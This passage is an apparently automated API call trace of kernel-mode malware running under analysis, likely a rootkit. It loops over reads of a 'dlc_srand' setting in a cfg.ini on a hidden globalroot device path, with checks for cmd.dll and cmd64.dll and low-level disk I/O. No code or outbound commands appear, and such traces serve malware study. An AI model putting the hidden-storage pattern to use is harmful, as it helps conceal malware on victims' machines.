[0123.665] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.665] KeEnterCriticalRegion () [0123.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.665] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.666] KeLeaveCriticalRegion () [0123.666] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.666] KeEnterCriticalRegion () [0123.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.666] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.666] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bec4d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.666] KeLeaveCriticalRegion () [0123.666] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.666] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.666] KeEnterCriticalRegion () [0123.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.666] ExFreePoolWithTag (P=0xfffffa8003bedeb0, Tag=0x0) [0123.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.666] KeLeaveCriticalRegion () [0123.666] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.666] ReleaseMutex (hMutex=0xf0) returned 1 [0123.666] Sleep (dwMilliseconds=0x124f80) [0123.679] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.679] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.679] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.679] KeEnterCriticalRegion () [0123.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.679] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.679] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.680] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.680] IdePortDispatch () returned 0x103 [0123.680] KeWaitForMutexObject () returned 0x0 [0123.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.680] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.680] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.680] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.680] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.680] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bedc60 [0123.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.680] KeLeaveCriticalRegion () [0123.680] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.680] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.680] KeEnterCriticalRegion () [0123.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.680] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.680] KeLeaveCriticalRegion () [0123.680] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.680] KeEnterCriticalRegion () [0123.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.680] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.680] IdePortDispatch () returned 0x103 [0123.680] KeWaitForMutexObject () returned 0x0 [0123.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.680] KeLeaveCriticalRegion () [0123.681] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.681] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.681] KeEnterCriticalRegion () [0123.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.681] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f4000 [0123.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.681] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.681] IdePortDispatch () returned 0x103 [0123.681] KeWaitForMutexObject () returned 0x0 [0123.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.681] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.681] IdePortDispatch () returned 0x103 [0123.681] KeWaitForMutexObject () returned 0x0 [0123.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.681] KeLeaveCriticalRegion () [0123.681] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.682] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.682] KeEnterCriticalRegion () [0123.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.682] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.682] KeLeaveCriticalRegion () [0123.682] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.682] KeEnterCriticalRegion () [0123.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.682] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.682] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bed070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.682] KeLeaveCriticalRegion () [0123.682] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.682] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.682] KeEnterCriticalRegion () [0123.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.682] ExFreePoolWithTag (P=0xfffffa8003bedc60, Tag=0x0) [0123.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.682] KeLeaveCriticalRegion () [0123.682] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.682] ReleaseMutex (hMutex=0xf0) returned 1 [0123.682] Sleep (dwMilliseconds=0x124f80) [0123.697] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.697] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.697] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.697] KeEnterCriticalRegion () [0123.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.697] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.697] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.697] IdePortDispatch () returned 0x103 [0123.697] KeWaitForMutexObject () returned 0x0 [0123.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.698] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.698] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.698] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.698] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.698] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bece50 [0123.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.698] KeLeaveCriticalRegion () [0123.698] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.698] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.698] KeEnterCriticalRegion () [0123.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.698] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.698] KeLeaveCriticalRegion () [0123.698] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.698] KeEnterCriticalRegion () [0123.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.698] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.698] IdePortDispatch () returned 0x103 [0123.698] KeWaitForMutexObject () returned 0x0 [0123.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.698] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.698] KeLeaveCriticalRegion () [0123.698] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.698] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.698] KeEnterCriticalRegion () [0123.698] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.698] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f9000 [0123.698] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.698] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.698] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.698] IdePortDispatch () returned 0x103 [0123.699] KeWaitForMutexObject () returned 0x0 [0123.699] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.699] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.699] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.699] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.699] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.699] IdePortDispatch () returned 0x103 [0123.699] KeWaitForMutexObject () returned 0x0 [0123.699] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.699] KeLeaveCriticalRegion () [0123.699] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.699] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.699] KeEnterCriticalRegion () [0123.699] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.700] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.700] KeLeaveCriticalRegion () [0123.700] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.700] KeEnterCriticalRegion () [0123.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.700] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.700] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beaa60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.700] KeLeaveCriticalRegion () [0123.700] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.700] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.700] KeEnterCriticalRegion () [0123.700] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.700] ExFreePoolWithTag (P=0xfffffa8003bece50, Tag=0x0) [0123.700] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.700] KeLeaveCriticalRegion () [0123.700] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.700] ReleaseMutex (hMutex=0xf0) returned 1 [0123.700] Sleep (dwMilliseconds=0x124f80) [0123.707] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.714] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.714] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.714] KeEnterCriticalRegion () [0123.714] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.714] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.714] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.714] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.715] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.715] IdePortDispatch () returned 0x103 [0123.715] KeWaitForMutexObject () returned 0x0 [0123.715] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.715] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.715] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.715] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.715] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.715] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed010 [0123.715] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.715] KeLeaveCriticalRegion () [0123.715] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.716] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.716] KeEnterCriticalRegion () [0123.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.716] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.716] KeLeaveCriticalRegion () [0123.716] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.716] KeEnterCriticalRegion () [0123.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.716] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.716] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.716] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.716] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.716] IdePortDispatch () returned 0x103 [0123.716] KeWaitForMutexObject () returned 0x0 [0123.716] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.716] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.716] KeLeaveCriticalRegion () [0123.716] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.716] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.716] KeEnterCriticalRegion () [0123.716] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.717] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034fe000 [0123.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.717] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.717] IdePortDispatch () returned 0x103 [0123.717] KeWaitForMutexObject () returned 0x0 [0123.717] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.717] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.717] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.717] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.717] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.717] IdePortDispatch () returned 0x103 [0123.717] KeWaitForMutexObject () returned 0x0 [0123.717] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.717] KeLeaveCriticalRegion () [0123.717] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.718] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.718] KeEnterCriticalRegion () [0123.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.718] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.718] KeLeaveCriticalRegion () [0123.718] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.718] KeEnterCriticalRegion () [0123.718] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.718] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.718] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bedcd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.718] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.718] KeLeaveCriticalRegion () [0123.718] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.718] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.718] KeEnterCriticalRegion () [0123.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.719] ExFreePoolWithTag (P=0xfffffa8003bed010, Tag=0x0) [0123.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.719] KeLeaveCriticalRegion () [0123.719] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.719] ReleaseMutex (hMutex=0xf0) returned 1 [0123.719] Sleep (dwMilliseconds=0x124f80) [0123.742] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.746] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.746] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.746] KeEnterCriticalRegion () [0123.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.746] MmProbeAndLockPages (in: 